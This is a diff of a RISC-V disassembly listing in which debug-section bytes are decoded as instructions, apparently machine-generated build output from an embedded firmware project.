-     982:	1a00                	addi	s0,sp,304
-     984:	01e8                	addi	a0,sp,204
-     986:	0000                	unimp
-     988:	09ed                	addi	s3,s3,27
-     98a:	0000                	unimp
-     98c:	6d16                	flw	fs10,68(sp)
-     98e:	01006773          	csrrsi	a4,0x10,0
-     992:	019d                	addi	gp,gp,7
-     994:	2709                	jal	1096 <__stack_size+0x896>
-     996:	000e                	c.slli	zero,0x3
-     998:	0200                	addi	s0,sp,256
-     99a:	5091                	li	ra,-28
-     99c:	1410                	addi	a2,sp,544
-     99e:	4025                	c.li	zero,9
-     9a0:	1420                	addi	s0,sp,552
-     9a2:	0000                	unimp
-     9a4:	ca00                	sw	s0,16(a2)
-     9a6:	0009                	c.nop	2
-     9a8:	1600                	addi	s0,sp,800
-     9aa:	3061                	jal	232 <__stack_size-0x5ce>
-     9ac:	0100                	addi	s0,sp,128
-     9ae:	019e                	slli	gp,gp,0x7
-     9b0:	c408                	sw	a0,8(s0)
-     9b2:	0000                	unimp
-     9b4:	0100                	addi	s0,sp,128
-     9b6:	165a                	slli	a2,a2,0x36
-     9b8:	3261                	jal	340 <__stack_size-0x4c0>
-     9ba:	0100                	addi	s0,sp,128
-     9bc:	019e                	slli	gp,gp,0x7
-     9be:	c408                	sw	a0,8(s0)
-     9c0:	0000                	unimp
-     9c2:	0100                	addi	s0,sp,128
-     9c4:	165c                	addi	a5,sp,804
-     9c6:	3361                	jal	74e <__stack_size-0xb2>
-     9c8:	0100                	addi	s0,sp,128
-     9ca:	019e                	slli	gp,gp,0x7
-     9cc:	c408                	sw	a0,8(s0)
-     9ce:	0000                	unimp
-     9d0:	0100                	addi	s0,sp,128
-     9d2:	165d                	addi	a2,a2,-9
-     9d4:	3461                	jal	45c <__stack_size-0x3a4>
-     9d6:	0100                	addi	s0,sp,128
-     9d8:	019e                	slli	gp,gp,0x7
-     9da:	c408                	sw	a0,8(s0)
-     9dc:	0000                	unimp
-     9de:	0100                	addi	s0,sp,128
-     9e0:	165e                	slli	a2,a2,0x37
-     9e2:	3561                	jal	86a <__stack_size+0x6a>
-     9e4:	0100                	addi	s0,sp,128
-     9e6:	019e                	slli	gp,gp,0x7
-     9e8:	c408                	sw	a0,8(s0)
-     9ea:	0000                	unimp
-     9ec:	0100                	addi	s0,sp,128
-     9ee:	005f e414 4024      	0x4024e414005f
-     9f4:	0820                	addi	s0,sp,24
-     9f6:	001d                	c.nop	7
-     9f8:	1b00                	addi	s0,sp,432
-     9fa:	2538                	fld	fa4,72(a0)
-     9fc:	2040                	fld	fs0,128(s0)
-     9fe:	1d08                	addi	a0,sp,688
-     a00:	0000                	unimp
-     a02:	055a0113          	addi	sp,s4,85
-     a06:	40592803          	lw	a6,1029(s2) # 4405 <__stack_size+0x3c05>
-     a0a:	1320                	addi	s0,sp,424
-     a0c:	5b01                	li	s6,-32
-     a0e:	7202                	flw	ft4,32(sp)
-     a10:	0000                	unimp
-     a12:	1000                	addi	s0,sp,32
-     a14:	255e                	fld	fa0,464(sp)
-     a16:	2040                	fld	fs0,128(s0)
-     a18:	0038                	addi	a4,sp,8
-     a1a:	0000                	unimp
-     a1c:	0a6d                	addi	s4,s4,27
-     a1e:	0000                	unimp
-     a20:	4318                	lw	a4,0(a4)
-     a22:	0031                	c.nop	12
-     a24:	a701                	j	1124 <__stack_size+0x924>
-     a26:	1701                	addi	a4,a4,-32
-     a28:	0079                	c.nop	30
-     a2a:	0000                	unimp
-     a2c:	0472                	slli	s0,s0,0x1c
-     a2e:	0000                	unimp
-     a30:	4318                	lw	a4,0(a4)
-     a32:	0032                	c.slli	zero,0xc
-     a34:	a901                	j	e44 <__stack_size+0x644>
-     a36:	1701                	addi	a4,a4,-32
-     a38:	0079                	c.nop	30
-     a3a:	0000                	unimp
-     a3c:	0490                	addi	a2,sp,576
-     a3e:	0000                	unimp
-     a40:	4318                	lw	a4,0(a4)
-     a42:	0100                	addi	s0,sp,128
-     a44:	01aa                	slli	gp,gp,0xa
-     a46:	00007917          	auipc	s2,0x7
-     a4a:	a300                	fsd	fs0,0(a4)
-     a4c:	0004                	0x4
-     a4e:	1800                	addi	s0,sp,48
-     a50:	0054                	addi	a3,sp,4
-     a52:	ab01                	j	f62 <__stack_size+0x762>
-     a54:	0d01                	addi	s10,s10,0
-     a56:	0000009b          	0x9b
-     a5a:	04b6                	slli	s1,s1,0xd
-     a5c:	0000                	unimp
-     a5e:	5e10                	lw	a2,56(a2)
-     a60:	4025                	c.li	zero,9
-     a62:	0c20                	addi	s0,sp,536
-     a64:	0000                	unimp
-     a66:	5400                	lw	s0,40(s0)
-     a68:	000a                	c.slli	zero,0x2
-     a6a:	1600                	addi	s0,sp,800
-     a6c:	3061                	jal	2f4 <__stack_size-0x50c>
-     a6e:	0100                	addi	s0,sp,128
-     a70:	721c01a7          	0x721c01a7
-     a74:	0000                	unimp
-     a76:	0100                	addi	s0,sp,128
-     a78:	005a                	c.slli	zero,0x16
-     a7a:	701f 4025 0820      	0x8204025701f
-     a80:	0000                	unimp
-     a82:	1600                	addi	s0,sp,800
-     a84:	3061                	jal	30c <__stack_size-0x4f4>
-     a86:	0100                	addi	s0,sp,128
-     a88:	01a9                	addi	gp,gp,10
-     a8a:	721c                	flw	fa5,32(a2)
-     a8c:	0000                	unimp
-     a8e:	0100                	addi	s0,sp,128
-     a90:	005a                	c.slli	zero,0x16
-     a92:	1000                	addi	s0,sp,32
-     a94:	25a8                	fld	fa0,72(a1)
-     a96:	2040                	fld	fs0,128(s0)
-     a98:	0096                	slli	ra,ra,0x5
-     a9a:	0000                	unimp
-     a9c:	0b46                	slli	s6,s6,0x11
-     a9e:	0000                	unimp
-     aa0:	6d18                	flw	fa4,24(a0)
-     aa2:	b2010073          	0xb2010073
-     aa6:	1301                	addi	t1,t1,-32
-     aa8:	00e1                	addi	ra,ra,24
-     aaa:	0000                	unimp
-     aac:	04c9                	addi	s1,s1,18
-     aae:	0000                	unimp
-     ab0:	5418                	lw	a4,40(s0)
-     ab2:	0030                	addi	a2,sp,8
-     ab4:	b301                	j	7b4 <__stack_size-0x4c>
-     ab6:	1301                	addi	t1,t1,-32
-     ab8:	00e1                	addi	ra,ra,24
-     aba:	0000                	unimp
-     abc:	000004f3          	0x4f3
-     ac0:	5418                	lw	a4,40(s0)
-     ac2:	0031                	c.nop	12
-     ac4:	b401                	j	4c4 <__stack_size-0x33c>
-     ac6:	1301                	addi	t1,t1,-32
-     ac8:	00e1                	addi	ra,ra,24
-     aca:	0000                	unimp
-     acc:	0000051b          	0x51b
-     ad0:	001a                	c.slli	zero,0x6
-     ad2:	0002                	c.slli64	zero
-     ad4:	d000                	sw	s0,32(s0)
-     ad6:	000a                	c.slli	zero,0x2
-     ad8:	1600                	addi	s0,sp,800
-     ada:	3061                	jal	362 <__stack_size-0x49e>
-     adc:	0100                	addi	s0,sp,128
-     ade:	c41801b3          	0xc41801b3
-     ae2:	0000                	unimp
-     ae4:	0100                	addi	s0,sp,128
-     ae6:	165a                	slli	a2,a2,0x36
-     ae8:	3161                	jal	770 <__stack_size-0x90>
-     aea:	0100                	addi	s0,sp,128
-     aec:	c41801b3          	0xc41801b3
-     af0:	0000                	unimp
-     af2:	0100                	addi	s0,sp,128
-     af4:	3610005b          	0x3610005b
-     af8:	4026                	0x4026
-     afa:	0820                	addi	s0,sp,24
-     afc:	0000                	unimp
-     afe:	ea00                	fsw	fs0,16(a2)
-     b00:	000a                	c.slli	zero,0x2
-     b02:	1100                	addi	s0,sp,160
-     b04:	6472                	flw	fs0,28(sp)
-     b06:	0100                	addi	s0,sp,128
-     b08:	01b8                	addi	a4,sp,200
-     b0a:	7204                	flw	fs1,32(a2)
-     b0c:	0000                	unimp
-     b0e:	0000                	unimp
-     b10:	b212                	fsd	ft4,288(sp)
-     b12:	4025                	c.li	zero,9
-     b14:	5c20                	lw	s0,120(s0)
-     b16:	001d                	c.nop	7
-     b18:	0800                	addi	s0,sp,16
-     b1a:	1300000b          	0x1300000b
-     b1e:	5a01                	li	s4,-32
-     b20:	7902                	flw	fs2,32(sp)
-     b22:	1300                	addi	s0,sp,416
-     b24:	5b01                	li	s6,-32
-     b26:	3001                	jal	326 <__stack_size-0x4da>
-     b28:	015c0113          	addi	sp,s8,21
-     b2c:	003a                	c.slli	zero,0xe
-     b2e:	b614                	fsd	fa3,40(a2)
-     b30:	4025                	c.li	zero,9
-     b32:	6920                	flw	fs0,80(a0)
-     b34:	001d                	c.nop	7
-     b36:	1400                	addi	s0,sp,544
-     b38:	25da                	fld	fa1,400(sp)
-     b3a:	2040                	fld	fs0,128(s0)
-     b3c:	1d75                	addi	s10,s10,-3
-     b3e:	0000                	unimp
-     b40:	0c14                	addi	a3,sp,528
-     b42:	4026                	0x4026
-     b44:	7520                	flw	fs0,104(a0)
-     b46:	001d                	c.nop	7
-     b48:	1400                	addi	s0,sp,544
-     b4a:	2626                	fld	fa2,72(sp)
-     b4c:	2040                	fld	fs0,128(s0)
-     b4e:	1d75                	addi	s10,s10,-3
-     b50:	0000                	unimp
-     b52:	4026361b          	0x4026361b
-     b56:	0820                	addi	s0,sp,24
-     b58:	001d                	c.nop	7
-     b5a:	1300                	addi	s0,sp,416
-     b5c:	5a01                	li	s4,-32
-     b5e:	0305                	addi	t1,t1,1
-     b60:	597c                	lw	a5,116(a0)
-     b62:	2040                	fld	fs0,128(s0)
-     b64:	025c0113          	addi	sp,s8,37
-     b68:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
-     b6c:	c410                	sw	a2,8(s0)
-     b6e:	4026                	0x4026
-     b70:	2a20                	fld	fs0,80(a2)
-     b72:	0000                	unimp
-     b74:	b800                	fsd	fs0,48(s0)
-     b76:	1700000b          	0x1700000b
-     b7a:	0000621b          	0x621b
-     b7e:	ce01                	beqz	a2,b96 <__stack_size+0x396>
-     b80:	1a01                	addi	s4,s4,-32
-     b82:	007e                	c.slli	zero,0x1f
-     b84:	0000                	unimp
-     b86:	9102                	jalr	sp
-     b88:	1850                	addi	a2,sp,52
-     b8a:	01003043          	fmadd.s	ft0,ft0,fa6,ft0,rup
-     b8e:	721101cf          	fnmadd.d	ft3,ft2,ft1,fa4,rne
-     b92:	0000                	unimp
-     b94:	3300                	fld	fs0,32(a4)
-     b96:	0005                	c.nop	1
-     b98:	1800                	addi	s0,sp,48
-     b9a:	01003143          	fmadd.s	ft2,ft0,fa6,ft0,rup
-     b9e:	01d4                	addi	a3,sp,196
-     ba0:	7211                	lui	tp,0xfffe4
-     ba2:	0000                	unimp
-     ba4:	5100                	lw	s0,32(a0)
-     ba6:	0005                	c.nop	1
-     ba8:	1000                	addi	s0,sp,32
-     baa:	26c4                	fld	fs1,136(a3)
-     bac:	2040                	fld	fs0,128(s0)
-     bae:	000c                	0xc
-     bb0:	0000                	unimp
-     bb2:	0b9f 0000 6116      	0x611600000b9f
-     bb8:	0030                	addi	a2,sp,8
-     bba:	cf01                	beqz	a4,bd2 <__stack_size+0x3d2>
-     bbc:	1601                	addi	a2,a2,-32
-     bbe:	0072                	c.slli	zero,0x1c
-     bc0:	0000                	unimp
-     bc2:	5a01                	li	s4,-32
-     bc4:	1f00                	addi	s0,sp,944
-     bc6:	26d6                	fld	fa3,336(sp)
-     bc8:	2040                	fld	fs0,128(s0)
-     bca:	0008                	0x8
-     bcc:	0000                	unimp
-     bce:	6116                	flw	ft2,68(sp)
-     bd0:	0030                	addi	a2,sp,8
-     bd2:	d401                	beqz	s0,ada <__stack_size+0x2da>
-     bd4:	1601                	addi	a2,a2,-32
-     bd6:	0072                	c.slli	zero,0x1c
-     bd8:	0000                	unimp
-     bda:	5a01                	li	s4,-32
-     bdc:	0000                	unimp
-     bde:	0812                	slli	a6,a6,0x4
-     be0:	7e204023          	0x7e204023
-     be4:	001d                	c.nop	7
-     be6:	d800                	sw	s0,48(s0)
-     be8:	1300000b          	0x1300000b
-     bec:	5a01                	li	s4,-32
-     bee:	0305                	addi	t1,t1,1
-     bf0:	d9c8                	sw	a0,52(a1)
-     bf2:	8000                	0x8000
-     bf4:	055b0113          	addi	sp,s6,85
-     bf8:	405f5003          	lhu	zero,1029(t5)
-     bfc:	0020                	addi	s0,sp,8
-     bfe:	1812                	slli	a6,a6,0x24
-     c00:	7e204023          	0x7e204023
-     c04:	001d                	c.nop	7
-     c06:	f400                	fsw	fs0,40(s0)
-     c08:	1300000b          	0x1300000b
-     c0c:	5a01                	li	s4,-32
-     c0e:	3001                	jal	40e <__stack_size-0x3f2>
-     c10:	055b0113          	addi	sp,s6,85
-     c14:	405f5003          	lhu	zero,1029(t5)
-     c18:	0020                	addi	s0,sp,8
-     c1a:	2812                	fld	fa6,256(sp)
-     c1c:	7e204023          	0x7e204023
-     c20:	001d                	c.nop	7
-     c22:	1000                	addi	s0,sp,32
-     c24:	000c                	0xc
-     c26:	1300                	addi	s0,sp,416
-     c28:	5a01                	li	s4,-32
-     c2a:	3001                	jal	42a <__stack_size-0x3d6>
-     c2c:	055b0113          	addi	sp,s6,85
-     c30:	405f5003          	lhu	zero,1029(t5)
-     c34:	0020                	addi	s0,sp,8
-     c36:	3812                	fld	fa6,288(sp)
-     c38:	7e204023          	0x7e204023
-     c3c:	001d                	c.nop	7
-     c3e:	2c00                	fld	fs0,24(s0)
-     c40:	000c                	0xc
-     c42:	1300                	addi	s0,sp,416
-     c44:	5a01                	li	s4,-32
-     c46:	3001                	jal	446 <__stack_size-0x3ba>
-     c48:	055b0113          	addi	sp,s6,85
-     c4c:	405f5003          	lhu	zero,1029(t5)
-     c50:	0020                	addi	s0,sp,8
-     c52:	5212                	lw	tp,36(sp)
-     c54:	38204023          	0x38204023
-     c58:	001d                	c.nop	7
-     c5a:	4900                	lw	s0,16(a0)
-     c5c:	000c                	0xc
-     c5e:	1300                	addi	s0,sp,416
-     c60:	5a01                	li	s4,-32
-     c62:	7802                	flw	fa6,32(sp)
-     c64:	1300                	addi	s0,sp,416
-     c66:	5b01                	li	s6,-32
-     c68:	0305                	addi	t1,t1,1
-     c6a:	5840                	lw	s0,52(s0)
-     c6c:	2040                	fld	fs0,128(s0)
-     c6e:	1e00                	addi	s0,sp,816
-     c70:	239c                	fld	fa5,0(a5)
-     c72:	2040                	fld	fs0,128(s0)
-     c74:	1d08                	addi	a0,sp,688
-     c76:	0000                	unimp
-     c78:	aa12                	fsd	ft4,272(sp)
-     c7a:	38204023          	0x38204023
-     c7e:	001d                	c.nop	7
-     c80:	6f00                	flw	fs0,24(a4)
-     c82:	000c                	0xc
-     c84:	1300                	addi	s0,sp,416
-     c86:	5a01                	li	s4,-32
-     c88:	7802                	flw	fa6,32(sp)
-     c8a:	1300                	addi	s0,sp,416
-     c8c:	5b01                	li	s6,-32
-     c8e:	0305                	addi	t1,t1,1
-     c90:	5874                	lw	a3,116(s0)
-     c92:	2040                	fld	fs0,128(s0)
-     c94:	1200                	addi	s0,sp,288
-     c96:	2410                	fld	fa2,8(s0)
-     c98:	2040                	fld	fs0,128(s0)
-     c9a:	1d38                	addi	a4,sp,696
-     c9c:	0000                	unimp
-     c9e:	0c8c                	addi	a1,sp,592
-     ca0:	0000                	unimp
-     ca2:	025a0113          	addi	sp,s4,37
-     ca6:	0078                	addi	a4,sp,12
-     ca8:	055b0113          	addi	sp,s6,85
-     cac:	40589c03          	lh	s8,1029(a7)
-     cb0:	0020                	addi	s0,sp,8
-     cb2:	4812                	lw	a6,4(sp)
-     cb4:	4024                	lw	s1,64(s0)
-     cb6:	3820                	fld	fs0,112(s0)
-     cb8:	001d                	c.nop	7
-     cba:	a900                	fsd	fs0,16(a0)
-     cbc:	000c                	0xc
-     cbe:	1300                	addi	s0,sp,416
-     cc0:	5a01                	li	s4,-32
-     cc2:	7802                	flw	fa6,32(sp)
-     cc4:	1300                	addi	s0,sp,416
-     cc6:	5b01                	li	s6,-32
-     cc8:	0305                	addi	t1,t1,1
-     cca:	58bc                	lw	a5,112(s1)
-     ccc:	2040                	fld	fs0,128(s0)
-     cce:	1200                	addi	s0,sp,288
-     cd0:	245e                	fld	fs0,464(sp)
-     cd2:	2040                	fld	fs0,128(s0)
-     cd4:	1d44                	addi	s1,sp,692
-     cd6:	0000                	unimp
-     cd8:	00000cc7          	fmsub.s	fs9,ft0,ft0,ft0,rne
-     cdc:	025a0113          	addi	sp,s4,37
-     ce0:	0079                	c.nop	30
-     ce2:	015b0113          	addi	sp,s6,21
-     ce6:	1330                	addi	a2,sp,424
-     ce8:	5c01                	li	s8,-32
-     cea:	4001                	c.li	zero,0
-     cec:	1200                	addi	s0,sp,288
-     cee:	246e                	fld	fs0,216(sp)
-     cf0:	2040                	fld	fs0,128(s0)
-     cf2:	1d44                	addi	s1,sp,692
-     cf4:	0000                	unimp
-     cf6:	0ce5                	addi	s9,s9,25
-     cf8:	0000                	unimp
-     cfa:	025a0113          	addi	sp,s4,37
-     cfe:	0082                	c.slli64	ra
-     d00:	015b0113          	addi	sp,s6,21
-     d04:	1330                	addi	a2,sp,424
-     d06:	5c01                	li	s8,-32
-     d08:	4001                	c.li	zero,0
-     d0a:	1200                	addi	s0,sp,288
-     d0c:	247a                	fld	fs0,408(sp)
-     d0e:	2040                	fld	fs0,128(s0)
-     d10:	1d44                	addi	s1,sp,692
-     d12:	0000                	unimp
-     d14:	00000d03          	lb	s10,0(zero) # 0 <__stack_size-0x800>
-     d18:	025a0113          	addi	sp,s4,37
-     d1c:	01130083          	lb	ra,17(t1) # ffffb011 <_heap_end+0x7ffec811>
-     d20:	1330015b          	0x1330015b
-     d24:	5c01                	li	s8,-32
-     d26:	4001                	c.li	zero,0
-     d28:	1200                	addi	s0,sp,288
-     d2a:	249a                	fld	fs1,384(sp)
-     d2c:	2040                	fld	fs0,128(s0)
-     d2e:	1d38                	addi	a4,sp,696
+     964:	0400                	addi	s0,sp,512
+     966:	0a00                	addi	s0,sp,272
+     968:	22d5                	jal	b4c <__stack_size+0x34c>
+     96a:	0000                	unimp
+     96c:	00740407          	0x740407
+     970:	0000                	unimp
+     972:	0f02                	c.slli64	t5
+     974:	e106                	fsw	ft1,128(sp)
+     976:	0000                	unimp
+     978:	0b00                	addi	s0,sp,400
+     97a:	4dc4                	lw	s1,28(a1)
+     97c:	0000                	unimp
+     97e:	0b00                	addi	s0,sp,400
+     980:	9e52                	add	t3,t3,s4
+     982:	0000                	unimp
+     984:	0001                	nop
+     986:	9b0a                	add	s6,s6,sp
+     988:	00a2                	slli	ra,ra,0x8
+     98a:	0700                	addi	s0,sp,896
+     98c:	7404                	flw	fs1,40(s0)
+     98e:	0000                	unimp
+     990:	0200                	addi	s0,sp,256
+     992:	0610                	addi	a2,sp,768
+     994:	0100                	addi	s0,sp,128
+     996:	0000                	unimp
+     998:	00a2390b          	0xa2390b
+     99c:	0000                	unimp
+     99e:	00a1fd0b          	0xa1fd0b
+     9a2:	0100                	addi	s0,sp,128
+     9a4:	0c00                	addi	s0,sp,528
+     9a6:	00005773          	csrrwi	a4,ustatus,0
+     9aa:	1202                	slli	tp,tp,0x20
+     9ac:	9415                	srai	s0,s0,0x25
+     9ae:	0000                	unimp
+     9b0:	0d00                	addi	s0,sp,656
+     9b2:	a222                	fsd	fs0,256(sp)
+     9b4:	0000                	unimp
+     9b6:	3701                	jal	8b6 <__stack_size+0xb6>
+     9b8:	b215                	j	2dc <__stack_size-0x524>
+     9ba:	0001                	nop
+     9bc:	1000                	addi	s0,sp,32
+     9be:	401e                	0x401e
+     9c0:	5420                	lw	s0,104(s0)
+     9c2:	0000                	unimp
+     9c4:	0100                	addi	s0,sp,128
+     9c6:	b29c                	fsd	fa5,32(a3)
+     9c8:	0001                	nop
+     9ca:	0e00                	addi	s0,sp,784
+     9cc:	6d7a                	flw	fs10,156(sp)
+     9ce:	0062                	c.slli	zero,0x18
+     9d0:	3701                	jal	8d0 <__stack_size+0xd0>
+     9d2:	8232                	mv	tp,a2
+     9d4:	0000                	unimp
+     9d6:	3100                	fld	fs0,32(a0)
+     9d8:	0002                	c.slli64	zero
+     9da:	0f00                	addi	s0,sp,912
+     9dc:	0000a24b          	fnmsub.s	ft4,ft1,ft0,ft0,rdn
+     9e0:	3701                	jal	8e0 <__stack_size+0xe0>
+     9e2:	c249                	beqz	a2,a64 <__stack_size+0x264>
+     9e4:	0000                	unimp
+     9e6:	5d00                	lw	s0,56(a0)
+     9e8:	0002                	c.slli64	zero
+     9ea:	1000                	addi	s0,sp,32
+     9ec:	6d7a                	flw	fs10,156(sp)
+     9ee:	0100                	addi	s0,sp,128
+     9f0:	1639                	addi	a2,a2,-18
+     9f2:	01b2                	slli	gp,gp,0xc
+     9f4:	0000                	unimp
+     9f6:	0289                	addi	t0,t0,2
+     9f8:	0000                	unimp
+     9fa:	2a11                	jal	b0e <__stack_size+0x30e>
+     9fc:	401e                	0x401e
+     9fe:	b320                	fsd	fs0,96(a4)
+     a00:	6c000003          	lb	zero,1728(zero) # 6c0 <__stack_size-0x140>
+     a04:	0001                	nop
+     a06:	1200                	addi	s0,sp,288
+     a08:	5a01                	li	s4,-32
+     a0a:	0305                	addi	t1,t1,1
+     a0c:	4264                	lw	s1,68(a2)
+     a0e:	2040                	fld	fs0,128(s0)
+     a10:	1100                	addi	s0,sp,160
+     a12:	1e3a                	slli	t3,t3,0x2e
+     a14:	2040                	fld	fs0,128(s0)
+     a16:	000003b3          	add	t2,zero,zero
+     a1a:	00000183          	lb	gp,0(zero) # 0 <__stack_size-0x800>
+     a1e:	0112                	slli	sp,sp,0x4
+     a20:	055a                	slli	a0,a0,0x16
+     a22:	40426403          	0x40426403
+     a26:	0020                	addi	s0,sp,8
+     a28:	4a11                	li	s4,4
+     a2a:	401e                	0x401e
+     a2c:	9620                	0x9620
+     a2e:	0002                	c.slli64	zero
+     a30:	a100                	fsd	fs0,0(a0)
+     a32:	0001                	nop
+     a34:	1200                	addi	s0,sp,288
+     a36:	5a01                	li	s4,-32
+     a38:	3001                	jal	238 <__stack_size-0x5c8>
+     a3a:	0112                	slli	sp,sp,0x4
+     a3c:	0079025b          	0x79025b
+     a40:	0112                	slli	sp,sp,0x4
+     a42:	015d                	addi	sp,sp,23
+     a44:	0030                	addi	a2,sp,8
+     a46:	401e5613          	srai	a2,t3,0x1
+     a4a:	bf20                	fsd	fs0,120(a4)
+     a4c:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     a50:	5a01                	li	s4,-32
+     a52:	7802                	flw	fa6,32(sp)
+     a54:	0000                	unimp
+     a56:	0500                	addi	s0,sp,640
+     a58:	9a04                	0x9a04
+     a5a:	0000                	unimp
+     a5c:	0d00                	addi	s0,sp,656
+     a5e:	a224                	fsd	fs1,64(a2)
+     a60:	0000                	unimp
+     a62:	1f01                	addi	t5,t5,-32
+     a64:	00008207          	0x8207
+     a68:	8400                	0x8400
+     a6a:	401d                	c.li	zero,7
+     a6c:	8c20                	0x8c20
+     a6e:	0000                	unimp
+     a70:	0100                	addi	s0,sp,128
+     a72:	969c                	0x969c
+     a74:	0002                	c.slli64	zero
+     a76:	0e00                	addi	s0,sp,784
+     a78:	6d7a                	flw	fs10,156(sp)
+     a7a:	0100                	addi	s0,sp,128
+     a7c:	301f 01b2 0000      	0x1b2301f
+     a82:	000002a7          	0x2a7
+     a86:	00a24b0f          	0xa24b0f
+     a8a:	0100                	addi	s0,sp,128
+     a8c:	461f 00c2 0000      	0xc2461f
+     a92:	000002d3          	fadd.s	ft5,ft0,ft0,rne
+     a96:	7314                	flw	fa3,32(a4)
+     a98:	0071                	c.nop	28
+     a9a:	0100                	addi	s0,sp,128
+     a9c:	0822                	slli	a6,a6,0x8
+     a9e:	0082                	c.slli64	ra
+     aa0:	0000                	unimp
+     aa2:	02ff                	0x2ff
+     aa4:	0000                	unimp
+     aa6:	7b14                	flw	fa3,48(a4)
+     aa8:	00a2                	slli	ra,ra,0x8
+     aaa:	0100                	addi	s0,sp,128
+     aac:	0b24                	addi	s1,sp,408
+     aae:	004c                	addi	a1,sp,4
+     ab0:	0000                	unimp
+     ab2:	031d                	addi	t1,t1,7
+     ab4:	0000                	unimp
+     ab6:	9e11                	0x9e11
+     ab8:	401d                	c.li	zero,7
+     aba:	b320                	fsd	fs0,96(a4)
+     abc:	28000003          	lb	zero,640(zero) # 280 <__stack_size-0x580>
+     ac0:	0002                	c.slli64	zero
+     ac2:	1200                	addi	s0,sp,288
+     ac4:	5a01                	li	s4,-32
+     ac6:	0305                	addi	t1,t1,1
+     ac8:	4264                	lw	s1,68(a2)
+     aca:	2040                	fld	fs0,128(s0)
+     acc:	1500                	addi	s0,sp,672
+     ace:	1daa                	slli	s11,s11,0x2a
+     ad0:	2040                	fld	fs0,128(s0)
+     ad2:	000003cb          	fnmsub.s	ft7,ft0,ft0,ft0,rne
+     ad6:	b811                	j	2ea <__stack_size-0x516>
+     ad8:	401d                	c.li	zero,7
+     ada:	b320                	fsd	fs0,96(a4)
+     adc:	48000003          	lb	zero,1152(zero) # 480 <__stack_size-0x380>
+     ae0:	0002                	c.slli64	zero
+     ae2:	1200                	addi	s0,sp,288
+     ae4:	5a01                	li	s4,-32
+     ae6:	0305                	addi	t1,t1,1
+     ae8:	4264                	lw	s1,68(a2)
+     aea:	2040                	fld	fs0,128(s0)
+     aec:	1100                	addi	s0,sp,160
+     aee:	1dca                	slli	s11,s11,0x32
+     af0:	2040                	fld	fs0,128(s0)
+     af2:	000003d7          	0x3d7
+     af6:	0265                	addi	tp,tp,25
+     af8:	0000                	unimp
+     afa:	0112                	slli	sp,sp,0x4
+     afc:	025a                	slli	tp,tp,0x16
+     afe:	0078                	addi	a4,sp,12
+     b00:	0112                	slli	sp,sp,0x4
+     b02:	6403055b          	0x6403055b
+     b06:	4042                	0x4042
+     b08:	0020                	addi	s0,sp,8
+     b0a:	d611                	beqz	a2,a16 <__stack_size+0x216>
+     b0c:	401d                	c.li	zero,7
+     b0e:	b320                	fsd	fs0,96(a4)
+     b10:	7c000003          	lb	zero,1984(zero) # 7c0 <__stack_size-0x40>
+     b14:	0002                	c.slli64	zero
+     b16:	1200                	addi	s0,sp,288
+     b18:	5a01                	li	s4,-32
+     b1a:	0305                	addi	t1,t1,1
+     b1c:	4264                	lw	s1,68(a2)
+     b1e:	2040                	fld	fs0,128(s0)
+     b20:	1500                	addi	s0,sp,672
+     b22:	1df8                	addi	a4,sp,764
+     b24:	2040                	fld	fs0,128(s0)
+     b26:	000003d7          	0x3d7
+     b2a:	401e0213          	addi	tp,t3,1025 # 19401 <__stack_size+0x18c01>
+     b2e:	3c20                	fld	fs0,120(s0)
+     b30:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     b34:	5a01                	li	s4,-32
+     b36:	7902                	flw	fs2,32(sp)
+     b38:	0000                	unimp
+     b3a:	0d00                	addi	s0,sp,656
+     b3c:	a26c                	fsd	fa1,192(a2)
+     b3e:	0000                	unimp
+     b40:	1301                	addi	t1,t1,-32
+     b42:	b216                	fsd	ft5,288(sp)
+     b44:	0001                	nop
+     b46:	4400                	lw	s0,8(s0)
+     b48:	401d                	c.li	zero,7
+     b4a:	4020                	lw	s0,64(s0)
+     b4c:	0000                	unimp
+     b4e:	0100                	addi	s0,sp,128
+     b50:	3c9c                	fld	fa5,56(s1)
+     b52:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
+     b56:	6d7a                	flw	fs10,156(sp)
+     b58:	0100                	addi	s0,sp,128
+     b5a:	01b23913          	sltiu	s2,tp,27
+     b5e:	0000                	unimp
+     b60:	0349                	addi	t1,t1,18
+     b62:	0000                	unimp
+     b64:	0010a00f          	0x10a00f
+     b68:	0100                	addi	s0,sp,128
+     b6a:	00824313          	xori	t1,tp,8
+     b6e:	0000                	unimp
+     b70:	0380                	addi	s0,sp,448
+     b72:	0000                	unimp
+     b74:	00a2100f          	0xa2100f
+     b78:	0100                	addi	s0,sp,128
+     b7a:	004c5213          	srli	tp,s8,0x4
+     b7e:	0000                	unimp
+     b80:	03ac                	addi	a1,sp,456
+     b82:	0000                	unimp
+     b84:	00a2180f          	0xa2180f
+     b88:	0100                	addi	s0,sp,128
+     b8a:	00e16a13          	ori	s4,sp,14
+     b8e:	0000                	unimp
+     b90:	03cd                	addi	t2,t2,19
+     b92:	0000                	unimp
+     b94:	5615                	li	a2,-27
+     b96:	401d                	c.li	zero,7
+     b98:	7c20                	flw	fs0,120(s0)
+     b9a:	11000003          	lb	zero,272(zero) # 110 <__stack_size-0x6f0>
+     b9e:	1d5e                	slli	s10,s10,0x37
+     ba0:	2040                	fld	fs0,128(s0)
+     ba2:	000003cb          	fnmsub.s	ft7,ft0,ft0,ft0,rne
+     ba6:	030c                	addi	a1,sp,384
+     ba8:	0000                	unimp
+     baa:	0112                	slli	sp,sp,0x4
+     bac:	025a                	slli	tp,tp,0x16
+     bae:	0079                	c.nop	30
+     bb0:	1100                	addi	s0,sp,160
+     bb2:	1d68                	addi	a0,sp,700
+     bb4:	2040                	fld	fs0,128(s0)
+     bb6:	000003e3          	beqz	zero,13bc <__stack_size+0xbbc>
+     bba:	0325                	addi	t1,t1,9
+     bbc:	0000                	unimp
+     bbe:	0112                	slli	sp,sp,0x4
+     bc0:	1230015b          	0x1230015b
+     bc4:	5c01                	li	s8,-32
+     bc6:	7902                	flw	fs2,32(sp)
+     bc8:	0000                	unimp
+     bca:	401d7613          	andi	a2,s10,1025
+     bce:	d720                	sw	s0,104(a4)
+     bd0:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     bd4:	5b01                	li	s6,-32
+     bd6:	8202                	jr	tp
+     bd8:	1200                	addi	s0,sp,288
+     bda:	5c01                	li	s8,-32
+     bdc:	7902                	flw	fs2,32(sp)
+     bde:	0000                	unimp
+     be0:	1600                	addi	s0,sp,800
